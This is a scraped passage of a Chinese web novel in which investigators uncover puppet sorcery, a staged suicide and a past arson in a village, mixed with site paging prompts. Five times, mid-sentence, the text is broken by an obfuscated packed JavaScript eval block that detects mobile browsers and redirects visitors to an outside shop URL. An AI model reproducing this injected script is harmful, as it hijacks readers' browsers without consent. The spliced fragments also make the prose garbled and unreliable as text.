也正因如此,她刚嫁过来不到三天时间,便轻而易举地俘获了这家人的心。 就连孟春的亲生女儿孙玉珍,也迅速倒向了她这边。 说实在话,对于孙玉珍向她示好这件事,赵紫芮不但不反感,反而还有些乐在其中。 毕竟这小丫头使唤起来可比自己身边那些婢女顺手多了。究其原因,无非就是她们如今好歹也算一家人,不会有什么异心存在。 更为关键的是,赵紫芮对待孙玉珍的种种友善之举,全都被孙时权看在眼里。每次碰见时,他都会毫不吝啬地夸赞赵紫芮胸怀宽广,有容人之量。 瞧瞧,我压根儿什么都不用特意去做,轻轻松松就夺走了你的夫君,收服了你的女儿,顺带连你的位置也一并占了过来。 她其实并不喜欢孙时权,她只是喜欢这种同人竞争的快感。 左右闲着也没事儿,何不给自己找点乐子呢。 可久而久之,她发现特别没意思,不单单是这种竞争没有意思,而是孟春那个人没有意思。 因为无论你做什么她都无动于衷,她又向来沉默寡言,平日里总是深居简出,大门不出,二门不迈的。 那两身衣裳已经被反复洗涤得褪去了原本的颜色,但她依旧日复一日地穿在身上,不知道的人,还以为这孙府对她刻薄相待呢。 原以为日子就这样相安无事地过去也就罢了,可未曾料到,就在某一天,她竟然破天荒地出了家门。 更为凑巧的是,孟春那日出门之时撞见了她在与人私下相会! 当她与孟春四目相对的瞬间,她清清楚楚地从对方那张熟悉的面庞上捕捉到了一抹惊讶之色。 那一刻,她心中暗自思忖:孟春定会抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170842|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个难得的契机前来狠狠羞辱自己一番。 可让她感到意外的是,孟春仅仅只是稍作停顿后,便迅速转过身去,头也不回地离开了现场。 此时的玉州年纪尚且幼小,所以即便旁人仔细端详他的面容,暂时也难以瞧出什么明显的端倪来。 而每当遇到有人上前询问时,她也能从容不迫地解释说孩子年纪小,五官尚未长开,故而显得不太像父亲孙时权也正常。 然而只需再过上短短数年光景,明眼人就能看出来,她儿子与孙时权之间简直毫无相似之处,全然不像是一对亲生父子。 既如此,倒不如快刀斩乱麻,索性一不做二不休,先将孟春这个潜在的威胁彻底铲除。 毕竟在这孙府之中,没有谁真正在乎她的生死存亡。就算她突然消失不见甚至命丧黄泉,恐怕也不会有人对此心生疑虑或者追查到底。 于是,她精心策划了一场阴谋,暗中指使他人悄悄潜入自家宅邸。趁着无人留意之际,同那人鬼鬼祟祟地闯入了孟春的房间。 当那根致命的丝线紧紧勒住孟春纤细的脖颈时,孟春竟未做出丝毫挣扎之举。 相反,她的脸上竟然浮现出一抹淡淡的笑容,像是释怀又像是解脱,仿佛对死亡毫不在意。 赵紫芮望着眼前这一幕,心中充满了疑惑与恼怒。 她实在想不通,为何此人在面临生死关头之时,竟然还能笑得出来?难道这是一种公然的挑衅吗? 这般想法令她怒不可遏,下意识令那人加重了手中的力道。 随后,赵紫芮与他合力抬起孟春毫无生气的身躯,伪装成其自缢身亡的模样。 这章没有结束,请点击下一页继续阅读! 第95章 红莲 江洵看了一眼周围的人,他们纷纷投来异样的目光,一个个神情紧张、充满警惕地盯着他,好像认定了他就是那个损坏木偶的元凶。 江洵想为自己反驳一二,可傅霖那双望向自己的双眸中,不仅带着审视和怀疑,还有一种让江洵感到无比陌生的疏离。 他以前,从不会这样看自己。 傅霖叹了口气,没有继续追问下去,而是转身向前一步,将江洵牢牢地护在身后,由他面对着赵紫芮等人。 “这只木偶多少钱,我们买下了。” 赵紫芮在最初看到江洵拿着刀用力划破木偶的时候虽大吃一惊,但也很快就冷静了下来。 她心里很清楚,现在并不是跟对方彻底翻脸的时候,于是微微一笑,大方地说道:“公子既然喜欢,尽管拿去就好。” 站在一旁的小工却略带犹豫的开口道:“可这木偶,是大夫人生前最喜欢的那只。” “闭嘴!生前生前!你也知道是生前!如今人都死了,这东西还留着作甚!” 赵紫芮凌厉的目光看着那个小工,她鲜少在人前发脾气,永远都是一副温柔体贴的模样。 如今突然发怒,倒让那小工有些惊慌失措,连忙道歉,说是自己多嘴了。 “孙大人不在?”傅霖没有同她多作客气,将那木偶轻轻从江洵手中拿了过来,同时转移了话题。 其实他并不认识孙时权,只是从旁人的只言片语中,他大概也能猜到,孙时权此时如果就在这里,想必不会和这几位小工一样穿的朴素。 “这两日村子里不是要表演傀儡戏了么,所用的傀儡皆是我们孙家出资的,眼下他便过去帮着张罗了。约莫酉时之前回,公子要在府上等他么?”赵紫芮问道。 “不了,酉时过后再来一趟便是。眼下还有旁的事,先告辞。”傅霖没等人回应,就拽着江洵的胳膊从后门出去了。 走到一个湖边,他才松开江洵,“方才是怎么回事?你最好跟我解释清楚,我不喜欢做任务的时候,有人刻意隐瞒着什么。你要知道,这并不是你一个人的任务。” 江洵的目光望向了不远处的湖面,最终长叹一口气,将自己遇到的事儿都同傅霖交代了一遍。 傀儡术,明面上说它是因为年代久远,早已失传。其实是成了令众人谈之色变、避之不及的禁忌之术。 遥想当年,那位最初开创此术法之人,乃是一位痴情至极的男子。 他在得知妻子命不久矣之时,便凭借着鬼斧神工般的雕刻技艺,精心雕琢出了一只与他夫人容貌毫无二致的木偶。 在他夫人离世之日,施展通天彻地之能,将爱妻的魂魄以及自身一半的灵力,尽数引入到了那具木偶的躯壳之内。 可天不遂人愿,美好的愿景终敌不过残酷的现实。 那木偶纵然有着与真人无异的外表,但终究并非血肉之躯,不仅行动处处受到限制,难以如常人一般自由活动,甚至连最为基本的喜怒哀乐等情感都无法表露分毫。 而原本被注入木偶体内的灵力,也在日复一日的消耗中渐渐枯竭。 终于,当最后一丝灵力消散无踪之际,那木偶也彻底失去了所有的生机和反应,再度沦为一具没有感情的死物。 可叹世人多有贪嗔痴恶之心,一些心术不正、心怀叵测之徒,逐渐打起了这傀儡术的主意。 他们绞尽脑汁地对此术法加以改良和扭曲,制造出了一个又一个只会盲目听从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170843|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指令的杀人怪物。 而操控这些傀儡的手段却比较容易,只需在纤细的丝线上注入些许灵力,便能如同提线木偶一般轻松牵动傀儡的身躯,使其成为手下最听话的杀人工具。 再后来,这傀儡之术便被魔教中人给盯上了。 不过他们控制傀儡的法子则更加诡异,选择使用那些仍弥留在人世间的死魂,将其强行灌入傀儡体内,并且仅保留死者生前的怨念。 一根根纤细如发的丝线,如同蜘蛛网般紧紧地束缚住傀儡身体的各个关节部位。 这么做,一方面是为了能够轻而易举地操纵傀儡;而另一方面,则是要将其牢牢握在掌心,以免出现一些意外失控的状况。 江洵所遭遇的情况虽然属于后者,但却有些不同之处。 通常情况下,都是由人对木偶下咒,以此来掌控和操纵傀儡,可眼下这情形却完全颠倒——变成了傀儡对江洵下咒,反过来操控着江洵。 如此想来,那背后做局之人所选的时机还真是巧妙至极。因为昨天夜里,只有江洵一人睡着了。 那人想必清楚他们几人的底细,明白落单的瑶卿修为并不低,如果贸然直接对瑶卿下手,恐怕不会那么容易得逞。 又或许,他就躲在暗处,看到了瑶卿在隔壁房间布下的聚阴阵,正等着他的傀儡自投罗网。 而乔决虽然也是单独行动,但那人却在乔决前脚离开不久,后脚就迅速假扮成乔决的模样,大大咧咧地出现在瑶卿面前。 那么这一招,有可能只是掩人耳目的障眼法罢了,其真正的目的是为了转移他们的注意力,趁机为江洵施下傀儡术。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第96章 异父 所有人都在惊慌失措地逃命,就连那个之前一直在嚷嚷着找玉佩的人也跑得无影无踪了。 就在胡伯驹感到无比绝望的时候,他突然瞥见了草丛里有一把被丢在那的锤子。 他的眼中闪过一丝希望的光芒,弯身捡起锤子,用尽全身力气朝着门板狠狠地砸去。 一下、两下、三下……终于,随着一声沉闷的响声,门被生生地砸开了一道容人钻进去缝隙。 胡伯驹迫不及待地冲进屋内,而眼前的景象让他的心沉入了谷底。 火势已经蔓延到了整个房间,浓烟弥漫,透过烟雾,他看到了昏倒在火海中气息微弱的陶子衿。 胡伯驹的心中涌起一股强烈的恐惧和不舍,他没有丝毫犹豫地向着陶子衿冲了过去。 他深知,这一步踏进去,很有可能就再也出不来了。 火势越来越大,浓烟呛的人根本无法呼吸,他也已经精疲力竭,没有力气再抱着陶子衿出去。 在这一刻,他的世界里只剩下了他深爱的妻子,他本来可以转身就走,但他不想自己的妻子孤零零的躺在那里。 不然,他的子衿该有多绝望啊。 电闪雷鸣间,大雨顷刻而下,没多久便浇灭了这场火。 翌日,众人回来收拾房子的时候,看到了废墟里抱在一起的尸体,依稀能分辨出,是一个人用宽大的臂膀护住了怀中的人,到死都没有将他们分开。 当时这场火没有人觉得有何不妥,就连胡伯驹的儿子都以为那是一场意外。 但是如今仔细想来,却又有着许多经不起推敲之处。 比如后台的门为何会被反锁? 比如房子的窗户为何会被钉死? 比如水缸里为何没有水? 东一言西一语拼凑出的东西,本就带有主观上的思绪,因为他们往往会加上一句:好像、似乎、我不确定、我也是听说的....等诸如此类的话语。 所以,没有人可以确切的说出当时究竟是什么样的情况,也没有人可以证明那火究竟是有人故意放的,还是陶子衿不小心撞翻了蜡烛。 “胡伯驹的儿子是谁?”傅霖问道。 “昨日带我们来村子里的那位——胡世宣。”乔诀接话道。 江洵知道眼下只有胡世宣最有可能是幕后做局之人,但有一点他有些不解,“可他一个很少出村子的人,是怎么学得这种禁术?” 瑶卿摇了摇头,这就不得而知了。 胡世宣同街坊邻居关系也就那么回事儿,他又是一个人住,至于他整天都在家里忙些什么,具体是什么时间出门、又是何时归来的,旁人也一概不知。 而最为关键的问题在于,胡世宣自己清不清楚事情的真相。 倘若真是单纯的意外所致,那么胡世宣不太可能是幕后的操纵者,因为他没有动机和理由去做出这样的事情来。 可如果是人为造成的悲剧,那么在他已然掌握了傀儡术之后,为何没有即刻为他的爹娘报仇? 要知道,连江洵都会不慎中招,那么他若是想再除掉一个普通人,应当轻而易举才对。 就在这时,江洵皱着眉头开口问道:“有打听到晚上那群木偶最终都跑到哪儿了么?” 瑶卿微微颔首,指向她身后那座略显陈旧的戏台子。 她刻意压低嗓音,轻声说道:“住在这附近的有户人家跟我说,昨儿个夜里,他起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170844|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜的时候,突然听到一阵咿咿呀呀的唱戏声传来。那声音虽说不大,但在这寂静的夜晚却显得格外清晰。” “这人好奇啊,便蹑手蹑脚地走到大门口,透过门缝朝这边张望。只见那原本空荡荡的戏台子上,站满了木偶,一个个动作整齐,仿佛是在演戏。” “那场景实在诡异,吓得他不敢再看,‘砰’的一声关上卧房的门,又钻进被窝里,甚至都忘记自己要去如厕这事儿了。” 江洵听闻此言,看了眼台子上几个正在排练的傀儡师,追问道:“傀儡戏是明晚才正式开始表演吗?” 一直在一旁呼呼大睡的许廷宽终于悠悠转醒。他一边揉着那迷迷糊糊的眼睛,一边打着哈欠回答道:“嗯嗯,没错,就是明天晚上。戌时开场,亥时结束。” 瑶卿轻轻低下头,若有所思地分析起来:“依我之见,如果那人想要有所行动的话,极有可能会选择在明晚动手。” 届时整个村子的人都会聚集在此观看傀儡戏,场面必定十分混乱,是下手的好时机。 想到此处,瑶卿不禁暗暗感叹,没想到小小的招寿村,当真是藏龙卧虎之地,连这种被明令禁止的邪术都有人敢碰。 “你这两日一定要时时刻刻的跟着我!听到没有?以防万一,晚上我同你睡一间好了。” 瑶卿十分严肃地看着江洵,继续说道:“我倒要看看那人究竟是吃了什么熊心豹子胆,敢给你下咒!被我逮到,头给他打爆!” 瑶卿越想越生气!她可是答应了江挽和陈叔会照顾好江洵的,这下可好,万一江洵有个什么好歹,她还怎么回去跟他们交代! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第97章 交易 就在这个时候,任初那原本僵如木棍般的手指,猛地朝着后方的林子方向直直地指了过去! 他的嘴巴一张一合的,似乎想要急切地说些什么,但愣是没能发出一丝一毫的声音来。 几人见状,突然间意识到一个事情——孙时权好像还没从林子里出来。 一种不祥的预感瞬间笼罩在心头,于是乎,没有丝毫犹豫,几人默契地拔腿向着林子里跑去。 可这片荒芜的林子实在是太大了,一些长得高的野草和枯枝交织在一起,严重阻碍了他们寻人的视线。 为了能够尽快找到孙时权,五人不得不分散开来搜寻。 而江洵,越是往林子深处走去,就越发感觉呼吸沉重,仿佛空气中弥漫着一股无形的重压,让他每次吸气和呼气都变得艰难。 紧接着便是心脏部位传来一阵剧烈的疼痛,那种感觉像是有人正在用手去握紧他的心脏,心脏每跳动一次都会伴随着刺痛。 这时,耳边传来了一个女子嬉笑的声音。 不知怎么的,江洵的脑海里浮现出迎姗的那张脸。 毕竟,她最喜欢干的事儿就是挖人的心脏。 突然之间,一道亮光在眼前划过。随后,一只传信的木鸽缓缓地降落在了江洵的肩膀上…… 许是感知到脚下之人状态有异,那只木鸽再次振动翅膀腾空飞起,最后稳稳当当地停歇在了江洵面前。 只见它正微微歪着小巧玲珑的脑袋,圆溜溜的眼睛直勾勾地盯着眼前这个满头大汗、面色苍白的少年。 江洵自然认得这是来自三阁的木鸽,其额头之上赫然镌刻着一束娇俏可人的兰花图案,煞是好看。 于是,江洵强撑着身体的不适,上前解开了绑在木鸽纤细脚爪上的纸条,并小心翼翼地取下旁边那个精致的小瓷瓶。 欲解傀儡术: 操纵人,杀之。 傀儡丝,斩之。 另有险招,需靠自身灵力冲破束缚在其身上的丝线,亦可解之。 一护心丹仅能护心脉十二时,保其被操纵时仍持有意识。 江洵一看就知道这是师父的字,纸条还没看完就倒出来吃了一粒。 就是不知道这药丸是用什么炼制的,入口后,一股血腥味儿弥漫在口腔。 但不得不承认,确实很有用,这才没过多久,心脏处的疼痛就缓解了不少。 江洵抬起手轻柔地摸了摸那木鸽的小脑袋,哑着声音说道:“信已收到,快回去吧。” 木鸽似是听懂了,点点头又啄了啄江洵的手心,像是在同他告别,随后才振动起翅膀跃身飞去。 江洵等身体好些了以后才继续向前走,恍惚间,听到了一阵窸窸窣窣的声音,这动静儿像是有人在故意摇晃着树枝。 而声音的源头,恰恰来自于头顶…… 就在江洵抬起头朝上张望之时,一幅令人惊讶的景象映入眼帘:孙时权正毫无支撑地悬浮于半空之中。 此时的他,整张面庞涨得通红,仿佛被人紧紧扼住了脖颈,而他地手还在身前慌乱的拽着什么。 丝线? 可不知是丝线太细,还是怎么的,仅凭肉眼,并不可见。 锋利如刃的丝线无情地划过孙时权手掌上厚厚的老茧,又深深地嵌入肉里,刹那间,鲜血汩汩流出,染红了他的掌心。 随着丝丝缕缕的鲜血不断浸染到丝线上,原本透明无色、难以察觉的丝线渐渐显露出它的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170845|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状。 只听得“啪嗒”一声轻响,一滴鲜红的血液自高处滴落而下。 江洵见状,身形一闪,迅速避开了这滴血珠。 好险……只差那么一点点,孙时权那厮的血就要落到他肩膀上了。 江洵紧皱双眉,面露厌恶之色,嘴里忍不住发出一声轻微的“啧”声。 与此同时,右手利索地一挥,眨眼之间便召唤出了献岁,寒光闪烁,杀意腾腾。 可就在他即将有所动作之际,一道银光如同闪电般从他的头顶急速掠过。 展开的银扇以惊人的速度斩断了那两根染血的丝线,扇面上的那条蛇更是张开了嘴巴,正吐露着信子。 待孙时权脖子上的丝线被尽数斩断以后,银环又如同一道流星般飞旋而归,稳稳落入其主人之手。 “姐姐,下次出手前劳烦先打声招呼行吗?” 他甚至都无需回头去看,便已然知晓身后之人定是瑶卿。 江洵心有余悸地摸了摸自己的头顶,得亏今天没有簪发,不然得被那六亲不认的攻势削掉。 这种既鲁莽又强劲无比的打法,放眼四周,除了瑶卿再无第二个人能够使得出来。 遥想当初,也正是这把扇子,硬生生折断了周翰架在他脖子上的钢刀。 此时,只听得身后传来一阵略显尴尬的笑声,“嘿嘿,放心啦,姐姐我可是心中有数,绝对不会伤到你一根头发丝儿的!” 再看另一边,孙时权的处境可就有些不妙了。 他脖子处的丝线虽已被斩断,但那些紧紧束缚在身体其他部位的丝线却依然存在着,将他整个人牢牢地架在了半空之中。 这章没有结束,请点击下一页继续阅读! 第98章 狼心 他只恨自己当初没有多带几个随从进来,不然也不会落得如此下场。 其实他刚踏入这片树林没多久,就察觉到了情况有些不太对劲。 这里太安静了,甚至静得让人心里直发毛。 除了偶尔传来风吹动树梢的声音,周围竟是连一声鸟儿的鸣叫都听不到。 这种诡异的氛围,使得孙时权原本还算镇定的心绪开始逐渐变得紧张起来…… 孙时权脚步踉跄地想要转身往回走,然而就在这时,一股令人头皮发麻的感觉从身体上传来。 他惊恐地低头看去,可什么也看不见,但他却能清晰地感觉到有一根根不知名的东西正悄无声息地缠绕在自己身上。 这些东西仿佛有着生命一般,越缠越紧,让他几乎无法动弹,甚至连身体都被带动着腾空而起。 孙时权下意识地张开嘴巴,想要大声呼救,可是喉咙里却发不出声音来。 那可怕的东西像是早已洞察了他的意图,猛地收紧,死死地勒住了他的脖子。刹那间,他只觉得呼吸困难,眼前开始发黑。 求生的本能促使他拼命地伸出双手,试图将那勒住脖子的东西扯开。 是丝线! 他常年跟这东西打交道,他能感觉出来,可平日里所用的丝线也没那么细啊。 每一次用力拉扯都异常艰难,手心更是刺骨的疼,可也只有这样,他才能勉强吸进一口空气,得以苟延残喘。 若不是靠着这点微薄的力量苦苦支撑,恐怕他早已命丧黄泉,根本不可能坚持到江洵等人前来救下他。 孙时权已经明白了,这就是一个精心设计好的陷阱,一个专门等他自己跳进去的局! 在他交代事情经过的时候,乔诀才急匆匆地赶到,也不知道那人究竟跑了多远,热的一身汗。 他这副气喘吁吁的样子,和一旁淡定自如的傅霖形成了对比,只听他嗤笑一声,说道:“这林子是大了点,但不至于到迷路的地步吧。” 乔诀累的不想跟他说话,只是朝他翻了个大大的白眼。 “然后呢?”瑶卿听完孙时权说的这些,继续问道:“九年前的那场大火,你都做了什么?” 孙时权一听瑶卿这么问,赶忙急迫的回道:“当年那场火是意外!” “本姑娘救你下来不是为了听你说这些废话的!你若还是这么个答案,那我们之间没得谈。要你命之人估计还没走多远,我敢说等我们一出这个林子,他还会回来找你索命!” “真是个意外!”孙时权又重复了一遍。 “就当火是意外,但锁掉的门、封死的窗,总不是意外了吧。”江洵沉声说道。 孙时低着头,瞬间沉默了。 原因无他,江洵所说的……确实是事实。 九年前,他的生意才刚刚开始崭露头角,接连不断的订单如雪片般纷至沓来,年轻气盛的他瞬间被金钱冲昏了头脑。 在那段时间里,他的脑海中只有一个念头——赚钱!赚钱!还是赚钱!仿佛金钱成为了他生活的全部追求。 直到某一天,他去检查的时候,才发现其中一笔订单存在问题,可是此时,他早已收下了对方支付的定金。 如果中途反悔,那么自己好不容易积攒下来的声誉将会受到影响,他只能硬着头皮将这笔订单继续做下去。 而现如今,他之所以对那人送来的订单犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170846|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不决,不敢轻易接手,正是因为这份新订单与九年前的那份有着相似之处。 不过之前的那份,没有特别指定木偶的容貌,可木偶的大小以及所使用的材质却几乎完全相同。 孙时权当年深知已别无选择,毕竟拿人钱财就得替人办事儿,更何况他早已花费掉了那笔定金的一半。 原本他曾暗自打算,只要做完这一单,从今往后就再也不接这种麻烦的活儿了。可那个人给出的酬劳实在太过诱人。 与其他普通客户相比,仅仅是为这个人服务,所获得的报酬就足够养活他们一大家子了。 但这事儿还是被胡伯驹发现了,他同孙时权说,这种来历不明的订单最好不要接,做好这一单就不要再同那人联系了。 但是孙时权嘴上答应的很好,可心里只当是胡伯驹嫉妒他如今混的比他好,故而,他并没有把胡伯驹的提醒放在心上。 而也就是在那一年,江湖上再次传出了木偶杀人的事情。这一传闻犹如一阵狂风,迅速传遍了大街小巷。 胡伯驹听闻此消息后,心中大惊,立刻马不停蹄地赶来寻找孙时权。他态度强硬地要求孙时权当机立断,即刻终止与那人的合作生意。 孙时权听闻此言,也是惊出一身冷汗,内心惶恐不安起来。 虽说他未曾亲眼目睹那些木偶如何行凶杀人,但从旁人绘声绘色的描述之中,隐约感觉到这些木偶与自己亲手制作的颇有几分相似之处。 孙时权无奈之下表示会尽快跟那个人把事情讲明白,并将所得钱财如数退还回去。 然而,实际情况却远非如此简单。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第99章 狗肺 “你他娘的真不是个东西!”乔诀一脚朝孙时权踹了过去。 要不是如今留着他还有点用,能当个活靶子引布局之人上钩,他真想一刀捅过去,让他死了得了。 孙时权被踹倒在地,也没有反驳,因为他也知道自己干的不是人事儿。 孟春之所以不花他的钱,他大抵也能猜的到一二。 最开始他们还是会同床共眠,许是他做噩梦说了一些梦话,不知从何时起,孟春便不再同他睡在一间房了,就连吃饭也会故意和他岔开时间。 他没有去问孟春到底知不知道,就像孟春也没有来质问他为何那么做。 他们之间的夫妻关系,早就名存实亡了。 他不喜欢孙玉珍,还有一点原因是那丫头总是想找胡世宣,可他每次看到胡世宣都能想到自己时常做过的噩梦:是胡伯驹和陶子衿浑身上下都布满了烧伤的疤痕,面目狰狞着要找他索命。 “你最初的那些木偶是卖给谁了?”傅霖问道。 孙时权摇了摇头,开口道:“我没有见过那人真正的样子,都是书信联系。等交货时间到了,我会提前将货送到他指定的地点,届时,他会派人来取。我也曾暗中观察过,但是来取货的那些人都带着面具,压根儿就看不清真正长什么模样。” “当面的那些书信你还留着么?” “早就烧了,那事儿过了没多久,中律司就派人彻查了傀儡杀人一案,我哪还敢留着这些证据在手上。而且,也是从那一年开始,我便再也没收到那人寄来的信件了。” 瑶卿插话道:“从字迹和笔锋上来看,能否看出是同一人?” 孙时权眉头蹙起思考了一瞬,而后摇摇头回道:“不能,之前那人的字迹苍劲有力,倒像是位中年人。而如今这位写的倒少了那么一些力度,像是位年轻人。” 那就说明不是同一人,要么是巧合,要么就是故意。 一种可能是,这个人知道孙时权几年前做过什么生意,所以想要模仿。于是,木偶的款式和材质都要写的相差无几,目的就是为了迷惑孙时权。 还有一种可能是,木偶的的确确还是当初那个人来定的,只是他们之间多了一位充当桥梁的人。 江洵盯着坐在地上孙时权看了许久,他如今这副落魄的样子,虽可叹却不可怜。 人的欲望是无穷无尽的,只要尝到了一次甜头,就不会再想着收手了。 孙时权便是如此,当他决定了对陶子衿下手的那一刻起,他就再也没有回头路了。 “你对于想要害你之人,可有什么头绪?”江洵问道。 孙时权思来想去也没有给个准话,不是说他真的不知道是谁,而是他的仇人太多了,一时之间竟然还有些迷茫了。 再加上这两日还是傀儡戏即将开始演出的时期,村子里来来回回会进许多面生的游客,想要他的命那不是易如反掌? “这也不知道,那也不知道的,你脑子里到底都知道些啥?”瑶卿没好气的白了他一眼。 “你不觉得很巧么?你夫人刚去世没多久,你那心腹前几日也傻了,而今日你又差点遇害,这桩桩件件明摆着是冲你来的。”傅霖说道。 “孟春那是自杀!而任初只是被吓傻的。” 孙时权并没有联想到,那两人会同自己今日遇害之事有关,毕竟孟春已经去世几个月了。 可如果真有什么关联,岂不是那人早就开始密谋着要杀自己了? 一想到这儿,他就觉得头皮发麻。 许廷宽听他说完这句,不禁感到瞠目结舌,“你这人真奇怪,说你笨吧,你能在那么多人眼皮子底下瞒天过海地杀人,可若是说你聪明吧,你连你自己夫人到底是怎么死的都不知道。” “你这话什么意思?”孙时权抬起头,一脸疑惑的问道。 他是真的相信孟春会自杀,毕竟那女人总是一副要死不活的样子。 “孟夫人是死于赵紫芮之手。” “不可能!芮儿她向来心善,连玉珍她都能视如己出,杀人这种事儿她更是做不出来!” 孙时权一点儿都不相信自己喜欢了这么多年的女子,背地里却是如此蛇蝎心肠之人! 瑶卿瞧着他那副激动不已、极力维护他人的模样,露出一抹略带嘲讽的笑容,心中暗自觉得有些可笑。 有那么一个人,在得知了你是杀人凶手之后,整整十年间竟然从未戳穿此事,依旧若无其事地与你一同生活。可你却不闻不问,视若无睹。 而对于另一个人,当你发现其乃杀人凶手之时,你的第一反应居然不是愤怒和谴责,而是难以置信。甚至还将一直欺骗你、哄骗你的她视作稀世珍宝一般珍视有加。 此时的孙时权低垂着头,嘴里不停地喃喃自语:“他怎么会有害孟春的理由呢?孟春明明什么都不曾做过呀。” 尽管他对孟春并无太多喜爱之情,然而毕竟两人也曾夫妻一场,尤其是最苦的那几年,都是孟春陪着他度过的。 这章没有结束,请点击下一页继续阅读!站在一旁的江洵面色平静如水,语气淡淡地回应道:“也许正是因为她……什么都没做吧。” 说罢,众人纷纷抬头望向天空,只见夕阳西下,暮色渐浓。 都已经这个时辰了,就算聊也该换个地儿聊了,可孙时权却变得茫然无措起来,完全不知该去往何处才好。 他实在不愿意回孙府,更没有勇气当面去质问赵紫芮究竟有没有做出那些可怕的事情。 他也不愿独自一一个人待着,他怕那个人会再度找上门来寻仇报复自己。 所以他只能跟着江洵他们,这几人确实不待见他,又嫌弃他。但有一点他可以确定,就是目前跟他们在一起的话,自己起码是安全的。 “老大信上都写了些什么?”瑶卿突然想起这件事,忙不迭地开口询问道。 江洵闻声,不紧不慢地从怀中掏出那张纸条,然后递给了身旁的瑶卿。 瑶卿赶忙接过纸条,将其展开,匆匆扫了一眼之后,眉头却不由自主地微微皱起。 “虽说信里确实提到了一些东西,但我怎么感觉说了跟没说差不多呢。”瑶卿一边挠着头,一边有些无奈地抱怨着。 的确,眼下他们面临的情况有些棘手,一是,他们还无法确定那个幕后操纵者究竟是谁;二是,丝线的另一端连接到哪里也是毫无头绪。 而且,关于用灵力强行挣脱这丝线束缚的方法,虽然可行,但也很快被瑶卿否定掉了。 若中招的是她,那以她自身的灵力来说倒是可以尝试一下,可江洵的灵力显然还没有达到可以直接冲破术法的程度,所以此路也行不通。 想到这里,瑶卿不禁感到一阵头疼,难办! “对了,给了你几颗护心丹?”稍稍平复了一下心情之后,瑶卿再次转头看向江洵。 只见江洵缓缓伸出右手,朝着瑶卿比划了一个“三”的手势。 “天老爷,这大手笔啊!” 通常情况下,只有他们接到甲级这种危险的任务时,江挽才会在他们临走时给上一粒护心丹,以备不时之需,可以说这玩意儿是关键时刻用来保命的东西。 然而,现在仅仅只是一个小小的内接任务,江洵就得到了三粒护心丹! 爱不会消失,但会转移! “三粒很多么?”江洵之前没收到过这个,自然不知道其中内情。 “当然了!!你以为这玩意儿很好炼制吗?”瑶卿欲哭无泪的说道。 “用什么炼制的?” “不知道。” “你不知道?那你为啥还说不好炼制?” “直觉!直觉你懂吗?算了,你不懂,你还小。” 二人慢慢悠悠地走在队伍的最后面,而另外三人走在最前面,中间夹了个垂头丧气的孙时权。 他们没有回钟其盛给他们安排的住处,一来是因为那个地方已经暴露了,二来是考虑到今日来了许多外地游客,晚上若是闹出什么动静,恐会伤及无辜之人。 虽然靠他们自己在招寿村找个地方凑合着住一晚,是有些许困难,但如今有冤大头孙时权在,倒也没那么困难。 果然,把这人留在手上,还是有些用处的。 几人跟着孙时权走到一处宅院前停下,这个地方有些偏僻,从外面的砖墙和眼前的木门来看,这房子估计是近两年新建的。 